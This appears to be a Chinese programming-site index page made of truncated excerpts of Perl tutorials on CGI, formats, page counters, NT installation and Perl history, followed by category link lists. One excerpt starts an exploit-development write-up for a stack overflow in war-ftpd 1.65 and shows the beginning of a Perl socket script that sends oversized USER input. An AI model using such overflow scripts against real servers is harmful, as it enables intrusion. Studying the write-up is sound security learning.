perl 是很不错写cgi的语言工具,但怎样才能提高运行速度呢?下面是我的一些小经验: 1. 如果是大程序,一定要库的方式,因为库是提前编译的(跟 require 不同)而且库可以只提供你所需要的子程序,不像 require 全部包含了。 2. 子程序的调用一定要用 &xxx 的方式,不要用省略的 xxx 调用方式,因为这样会造成解释上的影响(有时还有些怪现象)。 3. 不要使用软引用,这是个非常重要的问题,因为如果在 mod_perl 方式下软引用保证是不能正常运行的。 4. 调用库函数里,(如 cgi.pm )一定要用加上名字空间的说明,如 &cgi::start_html , &cgi::end_html 等等,不要用省略的start_html,end_html 方式。 因为如果要把perl真正地实际应用,不用 mod_perl 运行方式,是不可...
服务器与cgi程序交换信息的协作方式是通过环境变量实现的。无论什么请求,cgi程序总能在特定位置找到某些信息。无论环境变量怎样定义,总有一些变量有着特定含义。环境变量是一个保存用户信息的内存区。 例如,所有的机器都有一个path环境变量,当在当前目录找布道文件时就要查找path变量。当服务器收到一个请求后,它首先要收集它能得到的所有相关信息,并把它放入内存。那么,服务器要收集什么信息呢? 关于服务器自身的详细信息 关于用户的信息信息 关于用户请求的信息 服务器不知道cgi程序到底需要那些信息,所以它把这些信息一起收集,那么如果有什么重要的东西就不会遗漏了。为了向你展示服务器收集那些环境变量,在上一期的教程里我已经为各位写了一个程序,该程序将几乎所有的信息都反映在了浏览器里。所以在进一步学习变量的时候,请首先把程序调试好。 环境变量 1.与服务器相关的环境变量gateway_interfac...
我们已经见过用print函数将原始的未格式化的文本输出到文件,本章讲述如何用函数write和打印格式来生成格式化的输出。一、定义打印格式定义打印格式的关键字为format,语法为: format formatname =lines_of_output.打印格式名formatname的命名规则与一般变量相同。结束行为一个句号,此行不能有任何其它字符,包括空格,句号必须是该行第一个字符。打印格式的定义象子程序一样可以放在任何地方,甚至可以放在条件语句中,但是最好把它们集中放在程序的开头或结尾。二、显示打印格式打印格式的显示有两步:1、将系统变量$~设成所要使用的格式2、调用函数write例如:1 : #!/usr/local/bin/perl2 :3 : $~ = "myformat";4 : write;5 :6 : format myformat =7 : ==8 : he...
漏洞软件:war-ftpd version 1.65 调试软件:ollydbg 程序编写:perl 漏洞描叙:构造user,导致stack溢出。 关于一些调试的问题请参考:《win32缓冲区溢出实战》http://www.ph4nt0m.org/doc/20041101160955.pdf 我们首先模仿ftp登陆写个脚本,并把提交的user用aaaa.....表示个数用参数提交,我们要确定的溢出点,就是看当我们提交的aaa.....刚刚覆盖我们的ret的个数。 #!/usr/bin/perl use io::socket; $argc = @argv; $host = "127.0.0.1"; $port = "2121"; $eff=@argv[0]; $buff='a'x$eff; my $sock = io::socke...
不少朋友在nt环境下安装perl但运行.pl程序失败,这里向各位推荐一种简便安装方法: 第一步:按照正常方法安装perl软件; 第二步:在nt的internet服务管理器中把perl所在目录下的bin子目录添加为新的虚拟 www目录,别名可定为/perl;访问属性为可执行(不要设为“读”!),这是 很关键的一步; 第三步:把您的perl程序(.pl文件)全部放在perl目录下的bin子目录下; 最后,在html网页中把所有原来指向.pl文件的连接全部改为指向 “/perl/perl.exe?****.pl”,其中****.pl为您的perl程序。注意问号? ?”绝对不能漏掉。 其实,还有一个更好的方法,就是使用《电脑报配套光盘之pc世界》(1998.1) developtoolsperl2exep2exe.exe(这是一个把.pl文件编译为exe文件的 工...
用perl制作页面计数器 网友大都喜欢在自己的主页上做一个计数器来显示自己主页被访问的次数。以前我们只能申请由第三方提供的计数器或用由系统管理员提供的计数器,受到很大限制。现在许多免费空间都提供了cgi权限,因此我们也可以用cgi方式实现一个自己的计数器。 计数器可以用数据库方式实现,也可以用文本文件方式实现。由于文本文件方式不涉及系统的数据库管理系统,相对简单,容易实现,因此,在这里介绍文本方式的计数器。 计数器的原理比较简单,页面每次被访问的时候,对记录访问次数的数字加1,然后将这个数显示出来。原理虽然简单,在具体实现上还是需要一定的技巧。 由于一个cgi程序在服务器上并非一直驻留在内存中,为了对访问次数进行计数,则需要把这个数字存入一个文件中,每当主页被访问时,打开该文件将访问数字加1后再存入文件中。 网站是多用户环境,在访问文件时必须对文件上锁以禁止其他用户对文件的访问,这样...
当我们把目光对准linux时,我们要记住,在internet世界里还有很多自由软件。谁代表自由软件?谁是自由软件的发展方向?linux作用举足轻重,但perl、apache、python等自由软件同样不可忽视。它们的情况如何? 1987年,美国的larry wall及其合作者们开发了perl(practical extractionand report language)语言。从一开发起,larrywall就赋予perl免费和开放源码的权利。所以,perl由它的使用者维护和发展。到现在,它的影响力并不亚于linux,并在internet的世界里扮演着越来越重要的角色。 系统管理员和cgi作者的宠儿 简单地说,perl是一种解释性高级程序语言。为什么larry wall会想到要开发perl语言呢?这跟他长期与unix打交道有关系。大家知道,unix主要用c语言和unix shel...
perl被称为"骆驼"语言。发明perl的larry wall就说过:“perl可能不好看或者不好闻,但是它能完成任务”。perl是文本处理语言,它最初就是为了这个目的设计的。perl是网络编程语言,它内置了socket/client-server协议。 perl是系统管理语言,全球网络很多服务器上就运行着它的脚本。很多时候是单行的脚本。perl是web脚本编写语言。至今它仍然是最流行的几种web脚本编写语言之一。perl还可以:用perl生成代码用perl(调用tk)编写gui程序。在c/c++中进行perl编程,在perl中进行c/c++编程用perl过滤邮件用perl数据仓库编程在web上进行搜索....有人说perl无所不能。--我个人觉得perl的文本处理能力是无以替代的。它的正则表达式功能之强大是其他编程语言无法达到的。即使微软的jscript/vbsc...
apache user's guide随着 linux的不断普及,很多的朋友把redhat安装到了自己的计算机上,从此也就开始了对redhat的摸索。我在这里也把我的一点心得体会告诉大家,希望对大家有所帮助。apache 的安装 通常来说,大家在安装时可以选择安装web server ,并在internet services中开启httpd这一相服务,这样系统就会自动的安装好apache,并且在系统第一次启动时启动httpd进程。在作好一些相应的配置后,在你的xwindows环境下打开netscape,并在url中填入localhost 或本机的ip地址,就会访问到apache的默认的页面。如果说你没有安装web server ,你可以重新安装并选择update,挑选apache的软件包安装到本机。当然,如果你想要安装最新的版本,可以到http://www.apache.org...
perl的格言:做一种事不止有一种方法。perl程序员的三种品质:懒惰、急躁和傲慢(laziness,impatience and hubris)懒惰:是这样一种品质,它使得你花大力气去避免消耗过多的精力。它敦促你 写出节省体力的程序,同时别人也能利用它们。为此你会写出完善的文档,以免别人问你太多问题。急躁:是这样一种愤怒——当你发现计算机懒洋洋地不给出结果。于是你写出更优秀的代码,能尽快真正的解决问题。至少看上去是这样。傲慢:极度的自信,使你有信心写出(或维护)别人挑不出毛病的程序。...
Java Asp PHP .Net XML C/C++ CGI VB Jsp J2ee J2se J2me EJB Servlet Tomcat Resin Struts Weblogic Eclipse ANT GUI JMS Web servise IDEA Webphere Hibernate Spring Jboss Applet Swing Socket Javamail Perl Ajax P2P 安全 模式 框架 测试 开源 游戏
Windows XP Windows 2000 Windows 2003 Windows Me Windows 9.x Linux UNIX 注册表 操作系统 服务器 应用服务器